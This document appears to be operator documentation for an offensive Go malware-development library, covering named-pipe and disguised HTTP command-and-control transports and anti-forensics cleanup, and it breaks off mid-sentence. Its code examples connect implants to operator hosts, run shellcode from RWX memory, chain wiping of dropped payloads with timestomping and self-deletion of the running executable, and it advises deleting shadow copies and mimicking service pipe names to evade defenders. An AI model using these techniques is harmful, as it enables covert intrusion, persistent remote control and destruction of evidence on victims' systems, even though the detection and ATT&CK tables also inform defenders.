\\dc01\sysvolaccess already allow your pipe. - Same
Transportinterface as TCP / TLS / uTLS — every shell / stager / beacon in maldev works over named pipes by changing one config field.
What this does NOT achieve:
- Local pipes are visible to local-host telemetry — Sysmon EID 17/18 (named-pipe create / connect) catches every pipe op. EDRs match on suspicious-process / suspicious-pipe combinations. Use random-looking pipe names to dodge static rules.
- SMB requires authentication — you need valid credentials for the target host, OR an existing logon session that carries them. Lateral movement prerequisite.
- No encryption of pipe content — wrap your payload with
cryptoif a host-local packet capture (Wireshark with NPF driver) is in scope.
Primer
Most C2 traffic leaves the host over TCP / HTTP, where firewalls and NIDS inspect every packet. Windows named pipes are an on-host IPC channel that the OS uses constantly — SMB, RPC, the print spooler, LSASS, every COM out-of-process server. Two processes communicating over a pipe leave zero network artefacts; cross-host pipes (over the SMB redirector) leave SMB session-auditing entries that look identical to legitimate file-share use.
The package implements both sides:
Listener(namedpipe.NewListener(name)) — server-side, accepts agents on\\.\pipe\<name>.Transport(namedpipe.New(name, timeout)) — client-side, connects to either\\.\pipe\<name>(local) or\\<host>\pipe\<name>(cross-host SMB).
Either side plugs into the rest of the C2 stack:
c2/shell takes a Transport,
c2/multicat takes a Listener.
How it works
sequenceDiagram
participant Server as "namedpipe.Listener"
participant NP as "\\.\pipe\c2agent"
participant Client as "namedpipe.Transport (implant)"
Server->>NP: CreateNamedPipe (instance 1)
Server->>NP: ConnectNamedPipe (block)
Client->>NP: CreateFile(\\.\pipe\c2agent)
NP-->>Server: client connected
Server->>Server: spawn next instance (CreateNamedPipe)
Server->>Server: ConnectNamedPipe (block)
par bidirectional I/O
Client->>NP: WriteFile (stdin)
NP-->>Server: ReadFile
Server->>NP: WriteFile (stdout)
NP-->>Client: ReadFile
end
Each Accept returns a connected pipe instance; the listener
immediately spawns the next instance so subsequent clients do not
block.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/c2/transport/namedpipe is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple (local IPC)
Server (operator's relay tool on the same host):
ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
conn, _ := ln.Accept(context.Background())
Implant:
p := namedpipe.New(`\\.\pipe\c2agent`, 5*time.Second)
_ = p.Connect(context.Background())
_, _ = p.Write([]byte("hello"))
Composed (lateral SMB pipe)
Server on OPERATOR-HOST:
ln, _ := namedpipe.NewListener(`\\.\pipe\lat-c2`)
Agent on a different domain-joined host (with credentials to reach the share):
p := namedpipe.New(`\\OPERATOR-HOST\pipe\lat-c2`, 30*time.Second)
_ = p.Connect(context.Background())
The Windows SMB redirector tunnels the pipe over tcp/445. To NIDS
this looks like an SMB session; a typical defender focused on web /
TLS traffic does not parse SMB content.
Advanced (named-pipe shell + multicat)
Operator side combines multicat with the pipe listener:
import (
"context"
"github.com/oioio-space/maldev/c2/multicat"
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/c2/transport/namedpipe"
)
ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
adapter := transport.WrapNetListener(ln) // expose as transport.Listener
mgr := multicat.New()
go mgr.Listen(context.Background(), adapter)
Implant uses the same pipe transport on the agent side via
c2/shell.New.
Complex (pipe + named-pipe ACL hardening)
Production pipe servers need an explicit SecurityDescriptor so
unprivileged code on the same host cannot connect. The package's
default DACL allows Everyone for ease of testing — overwrite it
before exposing across hosts. Refer to
c2/transport/namedpipe/listener_windows.go
for the exact SECURITY_ATTRIBUTES shape.
See ExampleNewListener in
namedpipe_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Pipe \\.\pipe\<custom-name> opened by an unusual process | Sysmon Event 17/18 (PipeCreated / PipeConnected) — most defenders are not subscribed by default |
Pipe name not matching common services (spoolss, lsass, wkssvc, srvsvc, …) | Hunt rules — pick a name that mimics a legitimate service to blend |
Cross-host SMB session to \\target\pipe\<name> | Windows Security Event 5145 (file-share access) when audit policy is set |
| Pipe acting as full-duplex shell I/O channel | Behavioural EDR rules (rare; the high signal is the pipe + child process pairing) |
D3FEND counters:
- D3-NTA — SMB-traffic profiling.
- D3-OTF
— egress filter blocking outbound
tcp/445outside expected fileservers.
Hardening for the operator: name the pipe to mimic a legitimate
service (e.g. \\.\pipe\spoolss-<rand>); set a strict DACL that
only the implant's user can connect to; lateral SMB pipes assume
tcp/445 is open between hosts — verify before relying on the
technique.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | pipe over SMB lateral path | D3-NTA |
| T1021.002 | Remote Services: SMB/Windows Admin Shares | when bound across hosts via SMB redirector | D3-NTA |
Limitations
- Windows-only. No Unix-domain-socket fallback in this package.
- DACL defaults are permissive. Override
SECURITY_ATTRIBUTESon the listener before exposing across users. - SMB pipe needs
tcp/445connectivity between hosts; many segmented networks deny it. - Bidirectional only. No half-duplex / shared-channel mode.
See also
- Transport — generic interface.
- Reverse shell — primary consumer over local pipes.
- Multicat — operator-side accept loop.
- Microsoft, Named Pipes Overview — primer.
Malleable HTTP profiles
TL;DR
Wrap any HTTP transport in a profile that shapes traffic to look
like benign web activity: GET to plausible CDN-style URIs, custom
headers (Referer, Accept), real browser User-Agent, optional data
encoders. A network analyst inspecting the wire sees jQuery downloads,
not C2 callbacks.
| You want… | Use | Effect |
|---|---|---|
| Cover beacon traffic as benign HTTP | wrap any c2/transport HTTP path with a profile | URLs / headers / methods all match the profile shape |
| Use a Cobalt Strike-style profile you already have | parse + load via Profile struct | One profile drives both inbound + outbound shaping |
| Encode beacon data into a header / cookie / body chunk | configure DataEncoder | Beacon bytes look like base64 session ID / form data / etc. |
What this DOES achieve:
- HTTP-structure cover, not just TLS encryption. Even TLS-terminating proxies see plausible URLs, headers, and request rhythms.
- Composable: works with any HTTP transport (TLS / uTLS / raw HTTP for testing).
- One profile per campaign — defenders that fingerprint campaign A's profile don't automatically catch campaign B if you swap.
What this does NOT achieve:
- Doesn't hide that you're beaconing — request frequency is
observable even with perfect shape. Configure jitter +
large intervals; pair with
evasion/sleepmaskto keep the implant invisible BETWEEN beacons. - Profile freshness — popular profiles (CS Malleable defaults, public OST configs) are signature-fingerprinted by AV / EDR vendors. Custom-build per engagement.
- No JA3/JA4 cover — that's the TLS layer. Combine with
uTLS via
c2/transport.
Primer
TLS encrypts payload bytes; it does not hide HTTP structure.
Network analysts who terminate TLS at a corporate proxy (or just see
flow metadata) still observe URL paths, request frequencies, header
sets, and body sizes. A reverse shell that hits /api/data every
five seconds is trivially clusterable.
Malleable profiles steal a trick from Cobalt Strike: shape the C2 into HTTP requests that look like ordinary web traffic. The profile holds:
GetURIs— list of URI patterns for data retrieval. The transport rotates through them. Examples:/jquery-3.7.1.min.js,/static/css/bootstrap.min.css.PostURIs— same for data submission.Headers— custom request headers (Referer,Accept,Cache-Control).UserAgent— pinned User-Agent string. Pair withuseragentfor randomised real-browser UAs.DataEncoder/DataDecoder— optional transforms applied to payload bytes before the request body is built / after the response body is parsed. Lets the operator wrap C2 in (e.g.) a fake JSON envelope, hide it inside an image-shaped blob, or further encrypt on top of TLS.
How it works
sequenceDiagram
participant Sh as "c2/shell or stager"
participant Mal as "Malleable transport"
participant CDN as "Operator handler (looks like CDN)"
Sh->>Mal: Write([]byte("ls /etc"))
Mal->>Mal: DataEncoder(bytes)
Mal->>CDN: GET /jquery-3.7.1.min.js<br>Referer: https://docs.example/<br>User-Agent: Chrome/124
CDN-->>Mal: 200 OK + payload-as-jquery
Mal->>Mal: DataDecoder(body)
Mal-->>Sh: Read → []byte("/etc/passwd contents")
The handler on the operator side accepts requests on the same URIs and responds with the next chunk. With realistic timing (jitter, sleep) the traffic is indistinguishable from a slow CDN page-load.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/c2/transport is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/transport"
)
profile := &transport.Profile{
GetURIs: []string{"/jquery-3.7.1.min.js", "/popper.min.js"},
PostURIs: []string{"/api/v2/telemetry"},
Headers: map[string]string{"Referer": "https://docs.example/"},
UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) AppleWebKit/537.36 Chrome/124",
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())
Composed (pair with the useragent package)
import (
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/useragent"
)
db, _ := useragent.Load()
ua := db.Filter(func(e useragent.Entry) bool { return e.Browser == "Chrome" }).Random()
profile := &transport.Profile{
GetURIs: []string{"/jquery-3.7.1.min.js"},
UserAgent: ua.UserAgent,
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())
Advanced (encoder pair — wrap C2 in a fake JSON body)
import (
"encoding/base64"
"fmt"
)
profile := &transport.Profile{
PostURIs: []string{"/api/v1/events"},
DataEncoder: func(b []byte) []byte {
return []byte(fmt.Sprintf(`{"event":"page_view","payload":%q}`,
base64.StdEncoding.EncodeToString(b)))
},
DataDecoder: func(b []byte) []byte {
// Parse JSON, base64-decode payload, return raw bytes.
// Implementation omitted.
return decodeJSONPayload(b)
},
}
Complex (full chain — uTLS + cert pin + malleable + shell)
import (
"crypto/tls"
"net/http"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
)
httpTr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
profile := &transport.Profile{
GetURIs: []string{"/jquery-3.7.1.min.js", "/bootstrap.min.css"},
PostURIs: []string{"/api/v2/metrics"},
UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) Chrome/124",
Headers: map[string]string{"Referer": "https://docs.example/"},
}
tr := transport.NewMalleable("https://cdn.example.com", 10*time.Second, profile,
transport.WithTLSConfig(httpTr))
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Identical URI in every C2 cycle | NIDS clustering — rotate through GetURIs and randomise |
| Stale User-Agent strings | Defenders periodically refresh "real browser UA" lists; pair with useragent for fresh entries |
Referer always identical or absent | Behavioural NIDS; vary the Referer per cycle if possible |
| POST/GET ratio mismatched with cover content (e.g. constant POSTs to a "static asset" URI) | Heuristic — match GET/POST distribution to the cover content |
| Body size patterns (every request exactly 32 KB) | Add randomised padding inside DataEncoder |
| TLS handshake fingerprint | Pair with uTLS via WithTLSConfig + a uTLS-backed *http.Transport |
D3FEND counters:
- D3-NTA — content + header analysis on TLS-terminated traffic.
- D3-FCR — YARA-like rules on response bodies.
Hardening for the operator: keep GetURIs plausible and
rotate; choose a cover that matches the operator endpoint's
hostname (a CDN-shaped FQDN paired with /jquery-*.min.js is
believable; /api/data is not); randomise jitter at the shell
layer.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | HTTP traffic shaping | D3-NTA |
Limitations
- No bidirectional streaming. HTTP is request/response. The shell layer batches I/O into discrete chunks.
- Body size cap. Some CDNs / proxies truncate at 1–10 MB. Chunk large transfers across multiple requests.
- Encoder/decoder discipline. Profiles are operator + implant
pairs — both sides must agree on
DataEncoder/DataDecoder. - No malleable C2 profile DSL. This package implements the
primitives; defining a Cobalt Strike-style
.profileDSL parser is out of scope.
See also
- Transport — base
Transportinterface and uTLS integration viaWithTLSConfig. useragent— random real-browser UAs.- Cobalt Strike, Malleable C2 Profile reference — primer on the technique class (different DSL, same idea).
Cleanup techniques
On-host artifact removal and anti-forensics primitives applied at the end of an operation. Each package targets one specific class of artifact (file on disk, memory region, NTFS timestamp, service registration, in-memory state). Compose them as the implant tears itself down.
TL;DR
A typical end-of-mission chain: memory.WipeAndFree keys → timestomp any
artefacts you can't delete → wipe.File what you can → service.HideService
or unregister → selfdelete.Run (or bsod.Trigger if egress is critical).
Where to start (novice path):
memory-wipe— applies during the operation (not just at end). Wipe keys / decrypted bytes as soon as you're done with them.self-delete— most common end-of-op cleanup. Drop the running EXE from disk while the process keeps executing.wipe+timestomp— pair when you can't delete (loaded library, reference held by another process).ads— for stashing payloads / state during ops, not just cleanup.bsod— last-resort kill switch only. Destructive + irreversible.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
cleanup/ads | ads.md | quiet | NTFS Alternate Data Streams CRUD |
cleanup/bsod | bsod.md | very-noisy | Trigger BSOD via NtRaiseHardError — last-resort kill switch |
cleanup/memory | memory-wipe.md | very-quiet | SecureZero / WipeAndFree / DoSecret for in-process secrets |
cleanup/selfdelete | self-delete.md | moderate | Delete the running EXE via NTFS ADS rename + delete-on-close |
cleanup/service | service.md | noisy | Hide a Windows service via DACL manipulation |
cleanup/timestomp | timestomp.md | quiet | Reset $STANDARD_INFORMATION MAC timestamps |
cleanup/wipe | wipe.md | quiet | Multi-pass random overwrite then os.Remove |
Quick decision tree
| You want to… | Use |
|---|---|
| …forget keys/credentials still in process memory | memory.SecureZero or memory.WipeAndFree |
…make a dropped artefact's mtime match notepad.exe | timestomp.CopyFrom |
| …shred a file before removing it | wipe.File (low-volume forensics) or pair it with timestomp |
| …delete the running EXE and exit cleanly | selfdelete.Run |
| …terminate the host immediately to stop log shipping | bsod.Trigger (last resort) |
…hide a Windows service from services.msc | service.HideService |
| …stash a payload on disk where Explorer can't see it | ads.Write |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1070 | Indicator Removal | cleanup/memory, cleanup/timestomp, cleanup/wipe, cleanup/selfdelete | D3-RAPA, D3-PFV |
| T1070.004 | File Deletion | cleanup/wipe, cleanup/selfdelete | D3-PFV |
| T1070.006 | Timestomp | cleanup/timestomp | D3-FH (File Hashing) |
| T1529 | System Shutdown/Reboot | cleanup/bsod | D3-PSEP |
| T1543.003 | Create or Modify System Process: Windows Service | cleanup/service | D3-RAPA |
| T1564 | Hide Artifacts | cleanup/service, cleanup/ads | D3-RAPA |
| T1564.004 | NTFS File Attributes | cleanup/ads | D3-FCR (File Content Rules) |
See also
Secure memory cleanup
TL;DR
You decrypted your shellcode, used your encryption key, fetched a C2 address. All three are still sitting in process memory until the GC eventually overwrites them — minutes to never. A memory dump in that window exposes everything.
| You want to wipe… | Use | Cost |
|---|---|---|
A []byte slice (key, plaintext, decrypted blob) | SecureZero | One pass; compiler-resistant (volatile) |
A VirtualAlloc-backed region (shellcode RWX after exec) | WipeAndFree | Zero + VirtualFree(MEM_RELEASE) |
| Everything created inside a function scope | DoSecret | Defer-style: returned secrets get zeroed automatically when callback exits |
What this DOES achieve:
- Sensitive bytes are zeroed BEFORE control returns to the caller — no GC race, no compiler dead-store-elimination cleverness.
- For VirtualAlloc'd shellcode regions: zeroed THEN unmapped, so even a kernel-level scanner sees no commit.
DoSecretmakes the wipe defer-safe — caller can't forget.
What this does NOT achieve:
- Doesn't wipe the Go heap copy —
string<->[]byteconversions allocate. If the secret ever lived as a string, some pre-conversion copy may still be on the heap until GC. Avoid string conversions for secrets. - Doesn't wipe register / stack residue — values that spilled to the stack during arithmetic stay until the stack frame is overwritten by something else. Acceptable for most threat models; not for nation-state forensic.
- Crash-dump still wins if it happens BETWEEN secret creation and wipe — keep the window short.
- Linux: doesn't unmap if you didn't
VirtualAlloc—WipeAndFreeis Windows-shaped. UseSecureZerothenmmap.Munmapmanually for the Linux equivalent.
Primer
After your shellcode runs, its decrypted bytes, encryption keys, and C2 addresses sit in process memory. If the process is dumped — by an analyst, EDR memory scanner, or LSASS-style live snapshot — that data is exposed.
Naïve approaches fail:
for i := range buf { buf[i] = 0 }— Go's optimizer happily removes the writes if it sees you don't read the buffer afterwards.copy(buf, make([]byte, len(buf)))— same problem.
Go's clear builtin is treated as an intrinsic the compiler must NOT
optimize away. SecureZero wraps it. WipeAndFree adds the
VirtualProtect → write zeros → VirtualFree sequence required when the
memory came from windows.VirtualAlloc. DoSecret is the experimental
Go 1.26 runtimesecret mode: register/stack/heap erasure on function
return.
How it works
flowchart LR
subgraph SecureZero
BUF["[]byte"] --> CLEAR["clear(buf)<br>(intrinsic, not elidable)"]
CLEAR --> ZEROED["all bytes 0x00"]
end
subgraph WipeAndFree
VA["VirtualAlloc'd region"] --> PROT["VirtualProtect → RW"]
PROT --> WRITE["zero loop"]
WRITE --> FREE["VirtualFree(MEM_RELEASE)"]
end
subgraph DoSecret
FN["func() { … }"] --> RUN["call inside runtime.Secret guard"]
RUN --> ERASE["registers + stack + heap temps zeroed"]
ERASE --> RET["return to caller"]
end
SecureZero is the everyday tool. WipeAndFree is for the post-shellcode
RWX page. DoSecret is the new hotness — wrap any sensitive computation
unconditionally; without runtimesecret it's a no-op call.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/cleanup/memory is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
key := crypto.RandomKey(32)
defer memory.SecureZero(key)
// use key …
Composed (with crypto)
plaintext := decrypt(payload, key)
defer memory.SecureZero(plaintext)
defer memory.SecureZero(key)
// run shellcode …
Advanced (post-injection cleanup)
addr, _ := windows.VirtualAlloc(0, size,
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), size), shellcode)
runShellcode(addr)
_ = memory.WipeAndFree(addr, uint32(size))
Complex (DoSecret for key derivation)
var derived []byte
memory.DoSecret(func() {
tmp := pbkdf2(password, salt, 100_000, 32)
derived = make([]byte, len(tmp))
copy(derived, tmp)
memory.SecureZero(tmp) // belt + braces while DoSecret-experiment is non-default
})
// derived is the only surviving copy; password / pbkdf2 internals erased on Go 1.26+
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
VirtualProtect(RWX → RW) then VirtualFree(MEM_RELEASE) | EDR call-stack inspection — pattern is benign on its own |
| Process memory scanner finding zeroed pages where shellcode used to be | Periodic memory scanning (hard for blue at scale) |
Crash dump captured BEFORE WipeAndFree runs | Out of scope for this primitive — guard with defer early |
D3FEND counter: D3-PMA (Process Memory Analysis) — defeated by timely cleanup; remains effective when defender captures dump before cleanup runs.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1070 | Indicator Removal | in-memory variant |
Limitations
- Cannot cover what's already on disk. If a paged-out region was
swapped to
pagefile.sys,SecureZerodoesn't reach the swap copy. Mitigation:windows.VirtualLockthe region, thenVirtualUnlock+ zero before free. DoSecretregister erasure requiresGOEXPERIMENT=runtimesecret- Go 1.26+ + linux/amd64 or arm64. Without these, it's a plain call.
- Compiler tail-call elision can leak registers across
DoSecretscope on certain architectures — confirm withgo tool objdumpfor high-stakes uses. - Crash dumps captured before the
deferruns include the secrets in plain text.
See also
cleanup/wipe— same intent, on disk.- Go 1.26 release notes — runtimesecret experiment (link valid once 1.26 ships).
- OWASP — Memory Management Cheat Sheet.
Secure file wipe
TL;DR
You want a file gone from disk such that PhotoRec / Recuva /
ntfsundelete can't recover it. os.Remove only unlinks the
directory entry — content stays in unallocated clusters until
overwritten. This package overwrites first, then removes.
| You want to… | Use | Cost |
|---|---|---|
| Wipe a single file | File | One pass random + remove |
| Multi-pass for paranoia | FileN | N passes — diminishing returns past 1-3 |
| Wipe a directory tree | Tree | Walks + wipes every regular file |
What this DOES achieve:
- Recovered cluster content is
crypto/randbytes.strings, carve-by-format (PhotoRec), and undelete utilities all see noise. - Cross-platform — works on Windows / Linux / macOS without filesystem-specific code.
What this does NOT achieve:
- SSD wear-levelling makes single-overwrite ineffective —
the SSD controller maps logical writes to physical cells
via FTL. Your "overwrite" hits a NEW cell; the original
cell stays in the wear-leveling pool until garbage-collected.
TRIM/discard helps but isn't guaranteed. For high-assurance
SSD wipe:
secure eraseATA command (out of scope here). - Doesn't wipe
$LogFile/$UsnJrnl— NTFS journals recorded the file's path + first ~4 KB on create. Forensic carving from journals can recover. - Doesn't wipe Volume Shadow Copies — VSS snapshots taken
before your wipe still contain the original file. Run
vssadmin delete shadows(admin) BEFORE relying on this. - Doesn't wipe physical residual magnetism on HDDs — at the platter level, multiple overwrites + slot rotation reduce but don't eliminate. Threat model: nation-state forensic lab. For most ops, single-pass is plenty.
Primer
When you os.Remove a file, the OS unlinks the directory entry but the
underlying disk blocks remain readable until reused. Tools like
PhotoRec, Recuva, and ntfsundelete walk the MFT and recover those
blocks. A multi-pass random overwrite makes the recovered content
indistinguishable from random — useful for keys, configs, and any
short-lived artefact you want to leave behind cleanly.
The countermeasure isn't perfect: SSDs remap blocks transparently, so overwriting "the same file" may write to fresh cells while the original data sits in the wear-levelling pool until the controller rewrites it. For SSD targets, paired host-level encryption (BitLocker, LUKS) is the real answer.
How it works
flowchart TD
Open["os.OpenFile(path, RDWR)"] --> Stat["fi.Size()"]
Stat --> Loop{"pass < N?"}
Loop -- yes --> Rand["read crypto/rand into buf"]
Rand --> Write["WriteAt(buf, 0..size)"]
Write --> Sync["f.Sync()"]
Sync --> Loop
Loop -- no --> Close["f.Close() + os.Remove(path)"]
Each pass reads a new random buffer (no buffer reuse — fresh randomness
forces the filesystem to actually rewrite blocks rather than dedup
identical writes). f.Sync() after each pass forces the page cache to
flush to disk.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/cleanup/wipe is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import "github.com/oioio-space/maldev/cleanup/wipe"
if err := wipe.File("/tmp/secret.bin", 3); err != nil {
log.Fatal(err)
}
Composed (with cleanup/timestomp)
import (
"github.com/oioio-space/maldev/cleanup/timestomp"
"github.com/oioio-space/maldev/cleanup/wipe"
)
// Reset parent dir mtime BEFORE wiping the child — otherwise the child
// removal updates the parent dir.
ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))
_ = wipe.File(target, 3)
// Re-stomp parent (the unlink we just did updated it again).
_ = timestomp.CopyFrom(ref, filepath.Dir(target))
Advanced
End-of-mission cleanup chain:
// 1. Wipe payload droppers
for _, f := range []string{"impl.dll", "loader.exe", "config.json"} {
_ = wipe.File(filepath.Join(workDir, f), 3)
}
// 2. Reset workdir parent mtime
_ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, filepath.Dir(workDir))
// 3. Self-delete the running EXE
_ = selfdelete.Run()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Repeated full-file writes of the same size | EDR file-IO event aggregation |
crypto/rand reads driving large writes | RtlGenRandom / BCryptGenRandom event volume |
| Final unlink event | NTFS $LogFile / Sysmon Event 11 |
D3FEND counter: D3-PFV (Persistent File Volume Inspection) — file-recovery tooling against journaled filesystems. Mitigates partial overwrites, defeated by complete multi-pass overwrites only on rotational disks.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1070.004 | Indicator Removal: File Deletion | overwrite-then-delete variant |
Limitations
- Not effective on SSDs at the physical layer (wear levelling).
- Not effective on copy-on-write filesystems (ZFS, Btrfs, ReFS) — old blocks survive in the volume's snapshot space until garbage-collected.
- Filesystem journaling (NTFS
$LogFile, ext4 jbd2) may retain metadata copies of file size and name even after the data blocks are overwritten. - Antivirus realtime scan may already have copied the file to its scan cache; wiping the original doesn't reach those copies.
See also
cleanup/selfdelete— for the running EXE itself.cleanup/timestomp— pair to reset parent-dir mtime.cleanup/memory— same intent, in-memory.- DoD 5220.22-M historical reference — the canonical "secure delete" standard.
Self-deletion (running EXE)
TL;DR
You ran your implant from disk; it's now in memory. You want
the disk artefact gone — but Windows holds a handle on the
running EXE's image and os.Remove returns "file in use".
This package exploits an NTFS quirk to delete-while-running.
| You want… | Use | Compatibility |
|---|---|---|
| Modern path (NTFS rename + mark-for-delete) | Delete | Win10+ |
| Maximum compat (older Windows) | DeleteCompat | Win7+ |
| In-memory implant should keep running | Both work — process keeps executing the mapped image | All |
Want the file to vanish from dir listing immediately | Delete returns once the rename succeeds | n/a |
What this DOES achieve:
- File disappears from disk before the process exits — forensic triage that finds the implant in memory still has nothing on-disk to image.
- Process keeps running (mapped image stays valid until exit). Implant can finish its work before going down.
- No external tools, no bat-file delete-on-reboot trick.
What this does NOT achieve:
- Doesn't wipe filesystem journal entries —
$LogFile,$UsnJrnlstill record the create + delete events. Forensic recovery from these journals can recover the path + first 4 KB of content. - Doesn't wipe
Prefetch—C:\Windows\Prefetch\<exe>-XXXX.pfrecords every executable run. Pair withcleanup/wipefor prefetch cleanup. - NTFS only — the
:$DATArename trick doesn't work on FAT / exFAT / network shares. - Doesn't survive reboot of a forensic image — if the attacker takes a disk image BEFORE delete, the file is in unallocated clusters until overwritten.
Primer
Windows holds an open handle on a running EXE's image file (it's mapped
into the process). os.Remove on a running EXE returns "in use".
The NTFS quirk this package exploits: every file has an unnamed default
data stream :$DATA that holds the file's content. NTFS allows you to
rename that default stream to a named stream (e.g. :x). After
rename, the file from the kernel's perspective has zero bytes in its
default stream — and Windows happily deletes the file even though our
process still has its image mapped.
Three other paths exist when ADS isn't workable:
RunForce(retry, duration)— same trick, retry loop for transient locks.RunWithScript— drop a.batfile that polls until the process exits, then deletes the EXE. Universal, but the batch script is a signature.MarkForDeletion—MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT). No on-disk write, but thePendingFileRenameOperationsregistry value retains the artefact until next reboot.
How it works
The ADS-rename path:
sequenceDiagram
participant Proc as "running .exe"
participant FS as "NTFS driver"
Note over Proc: GetModuleFileNameW("C:\impl.exe")
Proc->>FS: CreateFileW(":x", FILE_RENAME_INFO)
FS->>FS: rename default :$DATA → :x
FS-->>Proc: success
Proc->>FS: NtSetInformationFile(FileDispositionInfo, DeleteFile=TRUE)
FS-->>Proc: success
Proc->>FS: CloseHandle()
FS->>FS: file unlinked from MFT
Note over Proc: process continues executing from mapped image
Step-by-step:
- Resolve own path via
GetModuleFileNameW(NULL, …). CreateFileW(path, DELETE | SYNCHRONIZE, FILE_SHARE_READ|WRITE|DELETE, …, OPEN_EXISTING, …).SetFileInformationByHandle(FileRenameInfo, ":x")— rename default stream.SetFileInformationByHandle(FileDispositionInfo, DeleteFile=TRUE)— schedule deletion at handle close.CloseHandle()— file vanishes.- The process continues; its image stays mapped.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/cleanup/selfdelete is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
//go:build windows
package main
import "github.com/oioio-space/maldev/cleanup/selfdelete"
func main() {
defer selfdelete.Run()
// implant work …
}
Composed (with cleanup/memory)
Wipe in-memory state before disappearing from disk:
defer selfdelete.Run()
defer memory.SecureZero(c2State)
// work …
Advanced (full end-of-mission chain)
defer func() {
// 1. Reset timestamps so any disk forensic sees a "stale" file.
_ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, droppedFile)
// 2. Wipe + delete dropped artefacts.
_ = wipe.File(droppedFile, 3)
// 3. Wipe in-memory state.
memory.SecureZero(stateBuf)
// 4. Self-delete the running EXE.
_ = selfdelete.Run()
}()
Complex (RunWithScript fallback)
if err := selfdelete.Run(); err != nil {
// ADS path failed (FAT volume, locked-down server) — fall back.
_ = selfdelete.RunWithScript(2 * time.Second)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
FileRenameInfo on a default-stream rename of a running EXE | Sysmon Event 2 (file creation timestamp change) — partial signal |
FileDispositionInfo setting DELETE on a running EXE | Sysmon Event 23 (FileDelete) |
MFT entry with $BITMAP change (file freed but still in mapping) | Forensic-grade MFT analysis |
Batch script in %TEMP% (RunWithScript) | Sysmon Event 11 + clear signature |
PendingFileRenameOperations registry value (MarkForDeletion) | Reboot-time analysis |
D3FEND counter: D3-FRA
(File Removal Analysis) — defeats casual deletion patterns; the ADS-rename
variant defeats most file-deletion-watch rules. Hardening: monitor for
FileRenameInfo on PE files in writable directories.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1070.004 | Indicator Removal: File Deletion | self-delete-while-running variant |
Limitations
- NTFS-only —
Runrequires ADS support. FAT32, exFAT, ext4 (mounted via WSL), or any mounted SMB share without ADS pass-through fail. UseRunWithScriptas fallback. - Win11 24H2 (build 26100+) —
MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT)semantics changed; thePendingFileRenameOperationsvalue is still written but kernel-level processing differs.MarkForDeletionmay silently fail on this build. Track in docs/testing.md. - Defender realtime scan — if the EXE is in a directory with
realtime monitoring (anything not in the exclusion list) the rename may
trigger an AV scan that holds the handle long enough to fail
SetFileDisposition. UseRunForce. - Process Mitigation — some EDRs apply
Process Mitigation Policy: ProhibitDynamicCodewhich doesn't affect this primitive directly, but the same EDR likely watches for the unusual rename pattern.
See also
cleanup/ads— primitive ADS CRUD;selfdeleteis its highest-leverage user.- Original technique writeup — LloydLabs/delete-self-poc.
- Microsoft —
FileDispositionInfo.
Timestomp
TL;DR
You dropped a file in a system directory and want it to blend in with the OS install timestamps. This package rewrites the file's user-visible timestamps to match a "donor" system file.
| You want to… | Use | Notes |
|---|---|---|
| Set timestamps to specific values | SetTimes | Three explicit timestamps in one call |
| Copy timestamps from another file | CopyFromFull | All four $SI timestamps from donor |
| Match a chosen System32 binary's timestamps | CopyFromFull(donor, target) | E.g. \Windows\System32\notepad.exe for "looks installed by Windows" |
What this DOES achieve:
dir,Get-ChildItem, Explorer,os.Statall see the spoofed timestamps. Casual triage doesn't notice.- Quick alignment — drop a file at 14:32:11, copy notepad's install timestamps, the file appears to be from Windows-install date.
What this does NOT achieve:
- Forensic-grade tooling defeats this trivially — Sleuth
Kit's
